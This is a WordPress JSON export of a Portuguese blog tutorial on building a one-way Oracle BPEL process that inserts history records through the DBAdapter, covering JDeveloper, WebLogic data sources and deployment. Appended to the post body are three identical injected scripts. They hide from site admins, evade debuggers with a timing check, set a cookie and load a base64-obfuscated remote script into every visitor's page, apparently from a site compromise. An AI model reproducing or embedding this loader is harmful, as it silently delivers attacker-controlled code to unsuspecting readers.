{"id":1127,"date":"2011-02-05T19:33:03","date_gmt":"2011-02-05T21:33:03","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1127"},"modified":"2025-10-26T22:41:16","modified_gmt":"2025-10-27T01:41:16","slug":"bpel-com-dbadapter","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/02\/05\/bpel-com-dbadapter\/","title":{"rendered":"BPEL com DBAdapter"},"content":{"rendered":"<p style=\"text-align: justify;\">Vamos criar um processo de hist\u00f3rico de informa\u00e7\u00f5es. O processo consiste  em gravar a data\/hora, uma mensagem da opera\u00e7\u00e3o feita e um  identificador em uma tabela do banco. Como n\u00e3o ser\u00e1 necess\u00e1rio aguardar  por uma resposta, vamos configurar o servi\u00e7o como One Way BPEL Process.<\/p>\n<p style=\"text-align: justify;\">Instale o plugin do SOA Suite, conforme descrito na se\u00e7\u00e3o Instala\u00e7\u00e3o JDeveloper + Extensions do\u00a0 post: <a title=\"Oracle SOA e BPM Suite\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/12\/23\/oracle-soa-e-bpm-suite\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.thiagovespa.com.br\/blog\/2010\/12\/23\/oracle-soa-e-bpm-suite\/<\/a><\/p>\n<p style=\"text-align: justify;\">Abra o JDeveloper, v\u00e1 em File, New, General, Applications, SOA Application, clique OK. D\u00ea um nome para sua aplica\u00e7\u00e3o e clique em Next. D\u00ea um nome para o projeto e clique em Next. Selecione Composite With BPEL Process e clique em Finish.<\/p>\n<p style=\"text-align: justify;\">Na pr\u00f3xima tela, selecione a especifica\u00e7\u00e3o do BPEL (estou utilizando a 2.0), informe o nome do processo, namespace, o template (One Way BPEL Process), o Service Name e clique OK.<\/p>\n<figure id=\"attachment_1128\" aria-describedby=\"caption-attachment-1128\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Create-BPEL-Process.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1128 \" title=\"Create BPEL Process\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Create-BPEL-Process-300x205.png\" alt=\"Create BPEL Process\" width=\"300\" height=\"205\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Create-BPEL-Process-300x205.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Create-BPEL-Process.png 600w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1128\" class=\"wp-caption-text\">Create BPEL Process<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ele ir\u00e1 criar um projeto SOA composite com o processo BPEL. No Application Navigator (Ctrl+Shift+A). Abra o XSD criado, SOA Content, xsd, HistoricoBPELProcess.xsd (no meu caso). Insira os elementos que ser\u00e3o enviados para o processo. O meu ficou da seguinte forma:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_1130\" aria-describedby=\"caption-attachment-1130\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-HistoricoBPELProcess.xsd_.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1130 \" title=\"HistoricoBPELProcess.xsd\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-HistoricoBPELProcess.xsd_-300x189.png\" alt=\"HistoricoBPELProcess.xsd\" width=\"300\" height=\"189\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-HistoricoBPELProcess.xsd_-300x189.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-HistoricoBPELProcess.xsd_.png 314w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1130\" class=\"wp-caption-text\">HistoricoBPELProcess.xsd<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Se voc\u00ea quiser, pode utilizar o c\u00f3digo abaixo:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;schema attributeFormDefault=&quot;unqualified&quot;\n\telementFormDefault=&quot;qualified&quot;\n\ttargetNamespace=&quot;http:\/\/xmlns.thiagovespa.com.br\/BPELSampleApp\/BPELDBAdapter\/HistoricoBPELProcess&quot;\n\txmlns=&quot;http:\/\/www.w3.org\/2001\/XMLSchema&quot;&gt;\n\t&lt;element name=&quot;process&quot;&gt;\n\t\t&lt;complexType&gt;\n\t\t\t&lt;sequence&gt;\n\t\t\t\t&lt;element name=&quot;identificador&quot; type=&quot;string&quot;\/&gt;\n\t\t\t\t&lt;element name=&quot;data&quot; type=&quot;date&quot;\/&gt;\n\t\t\t\t&lt;element name=&quot;mensagem&quot; type=&quot;string&quot;\/&gt;\n\t\t\t&lt;\/sequence&gt;\n\t\t&lt;\/complexType&gt;\n\t&lt;\/element&gt;\n&lt;\/schema&gt;\n<\/pre>\n<p style=\"text-align: justify;\">Abra o processo BPEL, e na Component Palette (Ctrl+Shift+P) abra a aba BPEL Services e arraste o Database Adapter para o Partner Links. Ir\u00e1 abrir o Adapter Configuration Wizard, clique em Next. D\u00ea um nome para o servi\u00e7o, clique em Next. Clique no + para adicionar uma nova conex\u00e3o, informes os dados de conex\u00e3o e clique OK. Especifique o nome JNDI para a conex\u00e3o ou utilize o padr\u00e3o e clique em Next.<\/p>\n<p style=\"text-align: justify;\">Na pr\u00f3xima tela, escolha as op\u00e7\u00f5es a serem executadas. No nosso caso, vai ser insert only. Clique em Next.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_1131\" aria-describedby=\"caption-attachment-1131\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Adapter-Configuration-Wizard-Step-4-of-5.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1131 \" title=\"Adapter Configuration Wizard - Step 4 of 5\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Adapter-Configuration-Wizard-Step-4-of-5-300x250.png\" alt=\"Adapter Configuration Wizard - Step 4 of 5\" width=\"300\" height=\"250\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Adapter-Configuration-Wizard-Step-4-of-5-300x250.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Adapter-Configuration-Wizard-Step-4-of-5.png 600w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1131\" class=\"wp-caption-text\">Adapter Configuration Wizard - Step 4 of 5<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Import Tables para selecionar a tabela de hist\u00f3rico. Selecione a tabela e clique OK e Next. Na pr\u00f3xima tela informe os relacionamentos entre tabelas. No nosso caso n\u00e3o teremos, ent\u00e3o clique em Next. Selecione as colunas que ser\u00e3o inseridas e clique em Next. Informe os par\u00e2metros de tentativa e sequences e clique em Next. Clique em Finish para terminar. Na tela do Create Partner Link, clique em OK.<\/p>\n<p style=\"text-align: justify;\">No Component Palette, abra a aba BPEL Constructs e arraste o n\u00f3 Invoke para logo abaixo do receiveInput. Clique em uma setinha lateral do Invoke e arraste at\u00e9 o Partner Link do DBAdapter criado. Abrir\u00e1 a janela de Edi\u00e7\u00e3o do Invoke. Mude o nome para algo mais amig\u00e1vel, por exemplo: insercaoHistorico. Em Input, clique no mais, insira uma nova vari\u00e1vel e pressione OK. Fa\u00e7a o mesmo procedimento com o Output. Pressione OK.<\/p>\n<p style=\"text-align: justify;\">Adicione uma atividade de Assign entre o receiveInput e o insercaoHistorico. D\u00ea dois cliques e na aba Copy Rules fa\u00e7a as associa\u00e7\u00f5es dos dados recebidos com os dados a serem inseridos.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_1135\" aria-describedby=\"caption-attachment-1135\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Edit-Assign.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1135\" title=\"Edit Assign\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Edit-Assign-300x187.png\" alt=\"Edit Assign\" width=\"300\" height=\"187\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Edit-Assign-300x187.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Edit-Assign.png 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1135\" class=\"wp-caption-text\">Edit Assign<\/figcaption><\/figure>\n<p>Altere os nomes dos n\u00f3s para ficarem mais amig\u00e1veis.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_1140\" aria-describedby=\"caption-attachment-1140\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/HistoricoBPELProcess.jpg\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1140 \" title=\"HistoricoBPELProcess\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/HistoricoBPELProcess-300x161.jpg\" alt=\"HistoricoBPELProcess\" width=\"300\" height=\"161\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/HistoricoBPELProcess-300x161.jpg 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/HistoricoBPELProcess-1024x549.jpg 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/HistoricoBPELProcess.jpg 1129w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1140\" class=\"wp-caption-text\">HistoricoBPELProcess<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Agora vamos configurar o Database Adapter no servidor. Suba o servidor com o SOA Suite. Acesse o console do WebLogic Server. No dom\u00ednio, acesse Services, Data Sources, New, Generic Data Source. Informe um Nome (DBAdapterSample), um JNDI Name (jdbc\/DBAdapterSample). escolha o tipo da base (Oracle) e clique em Next. Informe o driver e clique em Next. Se for XA voc\u00ea n\u00e3o precisa configurar mais nenhuma op\u00e7\u00e3o, a\u00ed \u00e9 s\u00f3 clicar em Next. Informe os dados de conex\u00e3o, clique em Next. Clique em Test Configuration, se tudo for OK, clique em Next, sen\u00e3o clique em Back e altere as configura\u00e7\u00f5es. Selecione o servidor e clique em Finish.<\/p>\n<p style=\"text-align: justify;\">V\u00e1 em Deployments e procure por DBAdapter. Selecione ele, clique em Configuration. Selecione Outbound Connection Pools e clique em New. Escolha javax.resource.cci.ConnectionFactory e clique em Next. Insira o JNDI Name que voc\u00ea informou ao criar o DBAdapter no processo BPEL (eis\/DB\/DBAdapterSample). Lembre-se que esse JNDI deve ser diferente do Data Source. Clique em Finish. Selecione o Outbound Connection Pool criado. Na aba Properties, atribua o valor do JNDI do Data Source (jdbc\/DBAdapterSample) na propriedade xADataSourceName. Dica: pressione Enter para efetuar as altera\u00e7\u00f5es. Clique em Save.<\/p>\n<p style=\"text-align: justify;\">V\u00e1 novamente em Deployment, marque o checkbox do DbAdapter, clique em Update. Marque a op\u00e7\u00e3o \"Redeploy this application using the following deployment files\". Clique em Next e Finish.<\/p>\n<p style=\"text-align: justify;\">No JDeveloper, clique com o bot\u00e3o direito no projeto, Deploy e escolha a aplica\u00e7\u00e3o. Selecione Deploy to Application Server, clique em Next. Atribua o n\u00famero de revis\u00e3o e clique em Next. Caso voc\u00ea n\u00e3o tenha adicionado o servidor, clique no + e configure o servidor SOA, caso contr\u00e1rio, selecione o servidor e clique em Next. Escolha o Partition, clique em Next e Finish para realizar o deploy.<\/p>\n<p style=\"text-align: justify;\">Acesse o Enterprise Manager, SOA, soa-infra, default (partition) e escolha sua aplica\u00e7\u00e3o. Clique no bot\u00e3o Test. Informe os 3 par\u00e2metros e clique em Test Web Service.<\/p>\n<p style=\"text-align: justify;\">Pronto.. as informa\u00e7\u00f5es devem ter sido inseridas no banco de dados. Acompanhe o que foi feito no processo clicando no bot\u00e3o Lauch Flow Trace.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_1143\" aria-describedby=\"caption-attachment-1143\" style=\"width: 300px\" class=\"wp-caption aligncenter\"> (Oracle SOA Composite)\"]<a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-BPELDBAdapter-1.0-Oracle-SOA-Composite-Oracle-Enterprise-Manager-weblogic-Mozilla-Firefox.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1143 \" title=\"BPELDBAdapter [1.0] (Oracle SOA Composite)\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-BPELDBAdapter-1.0-Oracle-SOA-Composite-Oracle-Enterprise-Manager-weblogic-Mozilla-Firefox-300x238.png\" alt=\"BPELDBAdapter [1.0] (Oracle SOA Composite)\" width=\"300\" height=\"238\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-BPELDBAdapter-1.0-Oracle-SOA-Composite-Oracle-Enterprise-Manager-weblogic-Mozilla-Firefox-300x238.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-BPELDBAdapter-1.0-Oracle-SOA-Composite-Oracle-Enterprise-Manager-weblogic-Mozilla-Firefox.png 1004w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1143\" class=\"wp-caption-text\">BPELDBAdapter [1.0<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vamos criar um processo de hist\u00f3rico de informa\u00e7\u00f5es. O processo consiste em gravar a data\/hora, uma mensagem da opera\u00e7\u00e3o feita e um identificador em uma tabela do banco. Como n\u00e3o ser\u00e1 necess\u00e1rio aguardar por uma resposta, vamos configurar o servi\u00e7o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/02\/05\/bpel-com-dbadapter\/\">Continue lendo  <span class=\"screen-reader-text\">  BPEL com DBAdapter<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[47,3,8,10,71,9,76,6],"tags":[],"class_list":["post-1127","post","type-post","status-publish","format-standard","hentry","category-base-de-dados","category-java","category-jdeveloper","category-jee","category-oracle-base-de-dados","category-oracle","category-soa-2","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1127"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1127\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}